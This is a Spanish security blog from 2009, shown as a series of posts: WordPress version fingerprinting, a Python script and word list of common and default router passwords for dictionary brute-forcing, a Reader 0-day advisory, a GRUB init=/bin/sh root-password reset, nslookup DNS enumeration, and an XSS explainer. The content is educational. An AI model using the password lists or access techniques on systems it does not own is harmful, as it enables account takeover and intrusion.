Lo curioso del caso es que según las especificaciones de Geads el valor de "version" es un String, que solo indica si ha cambiado o no el contenido del fichero. Por tanto sería igual de valido hacer un md5 de la fecha de la ultima actualización si es que esta actualización cambiase el valor de este fichero. O incluso lo que seria más óptimo, cuando se instalase el blog se creara un fichero estático y se modificara en caso de ser necesario en vez de estar generandose continuamente con cada petición.

Pero aun hay algo más, dado que en los datos mostrados existe más información sobre versiones de los distintos ficheros js, podríamos obtener más diferencias.

En la versión 2.7 thickbox.js?ver=3.1-20080430

En la versión 2.7.1 thickbox.js?ver=3.1-20090123

Si en el caso de 2.7.x hay que mirar en "thickbox", en las versiones 2.6.x lo tenemos aún más fácil, ya que podemos encontrar varios sitios donde viene directamente la versión, por ejemplo, wp-admin.css?ver=2.6.x entre otros.
//Parte del código de gears-manifest.php en la versión 2.6.1
foreach ( $wp_scripts->registered as $script ) {
if ( empty($script->src) || strpos($script->src, 'tiny_mce_config.php') ) continue;
$ver = empty($script->ver) ? $wp_version : $script->ver; //Aquí en ocasiones se incluye la versión
$src = str_replace( array( '/wp-admin/', '/wp-includes/' ), array( '', '../wp-includes/' ), $script->src );
$defaults .= '{ "url" : "' . $src . '?ver=' . $ver . '" },' . "\n";
$man_version .= $ver;
}

Conclusiones


Aunque en principio podría haber parecido un vector claro para conocer la versión del Wordpress, parece que en las versión 2.8.x estos datos claros se han eliminando.

Aún así en la versión actual sigue dejando un claro punto para saber si la versión en cuanto cambien los valores de $tinymce_version o $manifest_version.

Bajo mi punto de vista, como ya he dicho antes, modificaría el modo de crear el valor de "version" y lo convertiría en un dato aleatorio, que solo cambien cuando sea necesario.
De este modo un posible atacante solo sería capaz de conocer si un wordpress se ha actualizado conociendo el valor anterior de "version" si esa actualización cambiara este dato, hecho que no siempre ocurre.

Referencia:
Tutorial de gears
Arquitectura de gears
Aplicaciones disposibles

11 de octubre de 2009

Lista de Password

Tras leer en varios sitio sobre la publicación de más de 10.000 contraseñas de cuentas de correo, y tras confirmar por distintas fuentes que las contraseñas suelen ser las mismas y que en su mayor parte son simples de sacar con un ataque de fuerza bruta por diccionario, me he propuesto hacer un diccionario ordenado por probabilidad de aparición de las contraseñas.

Se que existen infinidad de diccionarios en muchos sitios (http://passwords.openwall.net) pero yo quiero crear uno bastante reducido, para tardar a menos y realizar el menor numero de intentos posibles.

¿Porque usar diccionarios?


Existen varias razones pero las dos principales son estas:

  • La primera es la más clara, intentar probar todas requiere demasiado tiempo. El calculo es simple, simplemente hay que hacer la variación con repetición. He realizado un test empírico de un algoritmo que calcula 10000 contraseñas (solo números) tarda 0.047 segundos y por tanto en generar y probar un millón vamos a suponer que tarda 5 segundos; con estos cálculos aproximados veamos la siguiente tabla:

    Tamaño Posibles (85)Tiempo (85) Posibles (26)Tiempo (26)
    4 caracteres52 millones4,33 minutos456.9762,28 segundos
    5 caracteres4.437 millones6,16 horas11 millones59,40 segundos
    6 caracteres377.149 millones21,83 días308 millones25,74 min
    7 caracteres32 billones5,07 años8.031 millones11,15 horas
    8 caracteres2.724 billones4,31 siglos208.827 millones12,08 días
    9 caracteres231.616 billones36,6 milenios5 billones10,47 meses
    10 caracteres19 trillones3010 milenios141 billones22,69 años
    11 caracteres1.673 trillones265070 milenios3.670 billones5,9 siglos

    NOTA: 2x(26 Letras + ñ) + (21 caracteres especiales [!|"@.#$~%&/()=?¿'*+] ) + (10 digitos) = 85
    Como se observa en la tabla cuando la contraseña tiene más de 5 caracteres el tiemplo empleado para obtener la contraseña es de más de una semana, tiempo de sobra para ser detectados sin problema.

  • Otra de las razones por las que realizar un diccionario está relacionado con el modo que tenemos de recordar las personas. Dado que recordar "E46!fhJd9@" nos resulta muy complicado usamos otras contraseñas simples de recordad, normalmente palabras que existen. Por tanto podemos reducir el número de intento a tantas como palabras hay en el diccionario, más de 160 mil palabras según la rae, lo que reduce en numero de posibles claves.Lo mejor a la hora de usar diccionarios es realizar uno personalizado para cada objetivo, no es igual intentar sacar el password de un ingles o americano que de un egipcio o un español, ya que las palabras que usarán serán distintas.


Creación del Diccionario


Para crear mi diccionario he cogido los datos desde los siguientes sitios:

  1. Top 10 contraseñas de PC Magazine

  2. Contraseñas más usadas de las publicadas de "Flirtlife.de"

  3. Contraseñas más usadas en las publicadas de "Hotmail.com"

  4. Contraseñas por defecto de los Routers


Para que me resultara más simple la creación del diccionario he programado en python un simple código para ordenar:
'''
Programa que descarga y ordena las contraseñas más por defecto de los routers
@author: ehooo
'''

import httplib, os
from HTMLParser import HTMLParser
class ParseTable(HTMLParser):
'''
Parser para obtener los datos de la columna indicada
'''

def __init__(self, columna):
HTMLParser.__init__(self)
self._columna = columna
self._colAct = 0
self._data = False
self._fin = True
self.lista = {}

def handle_data(self, data):
if self._data:
dato = str(data)
if dato in self.lista:
self.lista[dato] += 1
else:
self.lista[dato] = 1
self._data = False

def handle_starttag(self, tag, attrs):
if self._fin:
if tag == "table":
self._fin = False
elif tag == "tr":
self._colAct = 0
elif tag == "td":
if self._colAct == self._columna:
self._data = True
self._colAct += 1

def handle_endtag(self, tag):
if self._fin:
pass
elif tag == "tr":
self._colAct = 0
elif tag == "table":
self._fin = True

if __name__ == '__main__':
conn = httplib.HTTPConnection("www.phenoelit-us.org")
conn.request("GET", "/dpl/dpl.html")
res = conn.getresponse()
if res.status == httplib.OK:
html = res.read()
p = ParseTable(5)
p.feed(html)
lista = p.lista
n_elem = len(lista)
list = {}
try:
while True:#Cuando se queda sin elementos lanza una Excepcion "KeyError"
(key, valor) = lista.popitem()
if valor in list:
list[valor] += ", "+str(key)
else :
list.setdefault(valor, str(key))
except(KeyError):
valores = list.keys()
valores.sort()
valores.reverse()
ord = []
for valor in valores:
ord += [list[valor]]
elem = 0
for passwords in ord:
porcentaje = (valores[elem]* 100) / n_elem
print valores[elem],"de",n_elem,"son",porcentaje,'% ->',passwords
elem += 1
else:
print "ERROR en la descarga"

La lista que he obtenido ha quedado reducida ha 46 palabras, cogiendo las más comunes de los routers y de las personas; eliminando ciertas passwords sin demasiada relevancia. Puedes descargar el diccionario desde http://rollanwar.net/pass+usados.txt. De todos modos puedes crear el diccionario de routers usando parte del código publicado.

Otros datos de interés:
http://onemansblog.com/2007/03/26/how-id-hack-your-weak-passwords/

10 de octubre de 2009

Nuevo 0 day en Adobe Reader y Acrobat

Reciente mente ha sido publicado en la Una Al Día de Hispasec sistemas la noticia de la existencia de una vulnerabilidad que ha sido catalogada por Adobe como critica. El texto dice lo siguiente:
---
Se ha publicado un anuncio oficial de Adobe que informa sobre la existencia de un grave problema de seguridad que permite a un atacante remoto ejecutar código arbitrario a través de vectores no especificados. El fallo está siendo aprovechado activamente por atacantes.

Los productos afectados son Reader y Acrobat en las versiones 9.x y 8.x para Windows, Macintosh y UNIX y en las versiones 7.x en sistemas Windows y Macintosh.

Adobe ya ha anunciado que el CVE asignado será CVE-2009-3459 y que este error será solucionado en su siguiente boletín trimestral de actualizaciones que se espera para el 13 de este mes.

Se recomienda desactivar JavaScript en los documentos PDF para mitigar en la medida de lo posible los ataques y si se tiene Windows Vista con la versión 9.1.3, activar el sistema DEP (Prevención de ejecución de datos) puesto que aprovecha esta característica del sistema operativo.

Recomendamos, si es posible, usar otro lector de archivos PDF hasta que se solucione el fallo. Aunque no estén exentos de contener problemas de seguridad, al menos por ahora no son objetivo claro de atacantes. Hay un buen puñado donde elegir para todas las plataformas en: http://pdfreaders.org/
---
FUENTE: UAD HISPASEC Sistemas

5 de octubre de 2009

Recuperación de sistema Linux

Cuando se nos olvida la contraseña de root en un sistema Linux salvo que tengamos otro usuario con los mismos privilegios (lo cual no esta recomendado en absoluto) perderemos el control del sistema.

Para recuperarlo podríamos lanzar un exploit de elevación de privilegios contra nuestra propia maquina y conseguir una consola de root, pero si el sistema está actualizado y se actualiza con regularidad entontrar un exploit que podamos lanzar será bastante complicado por no decir que no lo coseguiremos, además tampoco es una solución esperar a que aparezca uno para poder usarlo.

Pensando en que se nos puede olvidar la contraseña de root los sistemas Linux nos permite cambiarla para evitar tener que reinstalar todo el sistema.

Para poder hacer esto tendremos que tener acceso fisico al sistema y seguir los siguientes pasos:

1. Cuando arranque el GRUB pausamos el arranque y pulsamos "e" (edit).
No aparecera una pantalla con los distintos modos de arranque.
2. Seleccionamos el que aparece con "root=DISCO ro" (read only) y pulsamos "e" para editar.
3. Cambiamos "ro" por "rw" (read and write) para poder hacer que se guarden los cambios.
4. Añadimos "init=/bin/sh" esto nos mostrara una consola al arrancar, recordar no poner nada despues de esto.
5. Por ultimo arrancamos pulsando "b" (boot).
Ahora hemos entrado como root, como se ve por la prom #
6. Para cambiar la contraseña escribimos "passwd" y ponemos la contraseña nueva.

Y listo ya tenemos nueva contraseña de root en nuestro sistema.

NOTA: DISCO será un disco contenido en /dev

Obtencion de informacion de las DNS usando nslookup

Para obtener la información de una web usando un servidor de DNS usaremos la utilidad “nslookup”.
Del siguiente modo:
1.Ejecutamos el lookup para dns
C:\> nslookup
Servidor predeterminado: 192.168.1.1
Address: 192.168.1.1

2.Nos informamos de los datos que tenemos de la web de la que queremos sacar la información
> SITE.COM
Servidor: Unknown
Address: 192.168.1.1
Respuesta no autoritativa:
Nombre: site.com
Address: 74.125.XX.XX, 216.239.XX.XX, 72.14.XX.XX

Podemos observar la linea que dice “Respuesta no autoritativa:” lo que nos indica que no es la autoridad que conoce todos los datos sobre dicha web.

3.Pedimos que nos de la información sobre quien es la identidad que sabe dicha información
> set type=NS
> SITE.COM
Servidor: Unknown
Address: 192.168.1.1
Respuesta no autoritativa:
site.com nameserver = ns1.site.com
site.com nameserver = ns2.site.com
site.com nameserver = ns3.site.com
site.com nameserver = ns4.site.com
ns1.site.com internet address = 216.239.XX.XX
ns2.site.com internet address = 216.239.XX.XX
ns3.site.com internet address = 216.239.XX.XX
ns4.site.com internet address = 216.239.XX.XX

4.Nos conectamos al servidor DNS principal de la web para que nos de todos los datos sobre la web que queremos investigar.
> server ns1.site.es
Servidor predeterminado: ns1.site.com
Address: 216.239.XX.XX

5.Como ahora estamos conectados al servidor que tiene toda la información sobre la web que queremos informarnos y pedimos todos los datos que tanga.
> set type=all
> site.com
Servidor: ns1.site.com
Address: 216.239.X.XX
site.com
primary name server = ns1.site.com
responsible mail addr = dns-admin.site.com
serial = 2009033100
refresh = 21600 (6 hours)
retry = 3600 (1 hour)
expire = 1209600 (14 days)
default TTL = 300 (5 mins)
site.com nameserver = ns1.site.com
site.com nameserver = ns2.site.com
site.com nameserver = ns3.site.com
site.com nameserver = ns4.site.com
site.com internet address = 216.239.XX.XX
site.com internet address = 72.14.XX.XX
site.com internet address = 74.125.XX.XX
site.com MX preference = 10, mail exchange = smtp2.site.com
site.com MX preference = 10, mail exchange = smtp3.site.com
site.com MX preference = 10, mail exchange = smtp4.site.com
site.com MX preference = 10, mail exchange = smtp1.site.com
ns1.site.com internet address = 216.239.XX.XX

Ya tenemos toda la información alojada en las DNS de este sitio.

2 de octubre de 2009

XSS en la web del COI

Con motivo de la celebración de las votaciones del comité olímpico internacional para elegir el lugar donde se celebrarán los próximos juegos olímpicos los chicos de Security by default han publicado un XSS sobre la web del COI.
xss en el coi
Para aquellos que no sepan que es un XSS se lo explico a continuación en pocas palabras. Un XSS (Cross site scripting) es un tipo de fallo de seguridad cuando se diseña una pagina web. Cuando un sitio web no comprueba correctamente los valores de las variables que va ha recibir y escribir en su frontal se puede insertar código HTML y en especial javascript para escribir en la web. Este tipo de ataques se han usado para hacer engañar a un usuario que acceda a este enlace o para robar credenciales.

29 de septiembre de 2009

¡Hola, mundo!

Este es el primer post de espero, muchos.

En este blog pretendo que se escriba sobre varias temáticas. Las pricipales temáticas que me gustaría abordar son referentes a la informática en genera, a la seguridad en informática en particular y al rol.